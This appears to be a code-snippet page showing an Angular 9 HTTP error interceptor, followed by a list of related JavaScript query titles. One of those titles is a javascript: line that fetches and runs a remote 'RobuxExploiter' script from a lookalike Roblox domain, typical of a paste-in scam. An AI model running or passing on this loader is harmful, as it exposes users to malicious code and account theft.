interceptor error handling angular 9
import { HttpEvent, HttpInterceptor, HttpHandler, HttpRequest, HttpErrorResponse } from '@angular/common/http';
import { Observable, throwError } from 'rxjs';
import { catchError } from 'rxjs/operators';
export class HttpErrorInterceptor implements HttpInterceptor {
intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
return next.handle(request)
.pipe(
catchError((error: HttpErrorResponse) => {
let errorMsg = '';
if (error.error instanceof ErrorEvent) {
console.log('this is client side error');
errorMsg = `Error: ${error.error.message}`;
}
else {
console.log('this is server side error');
errorMsg = `Error Code: ${error.status}, Message: ${error.message}`;
}
console.log(errorMsg);
return throwError(errorMsg);
})
)
}
}
Also in JavaScript:
- javascript check if two date ranges overlap
- convert timestamp to date js
- node js store values in file
- how to make a translator in python
- fs create or edit file
- pdfjs add custom event handler to viewer.js
- has own propriety javascrip
- how to convert entered number into currency in words in javascript
- how to reload a page in javascript
- javascript generate unique id
- codemirror get object from textarea
- db.json
- jquery styles
- console.log clear screen
- js convert order to char
- exponent javascript
- XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
- If 'router-outlet' is an Angular component, then verify that it is part of this module.
- java script member count embed
- standalone form inside reactive form
- how to set JSON data bootstrap treeview with java
- DataTables warning: table id=example-dt - Invalid JSON response.
- navigation react pass props
- access-control-allow-origin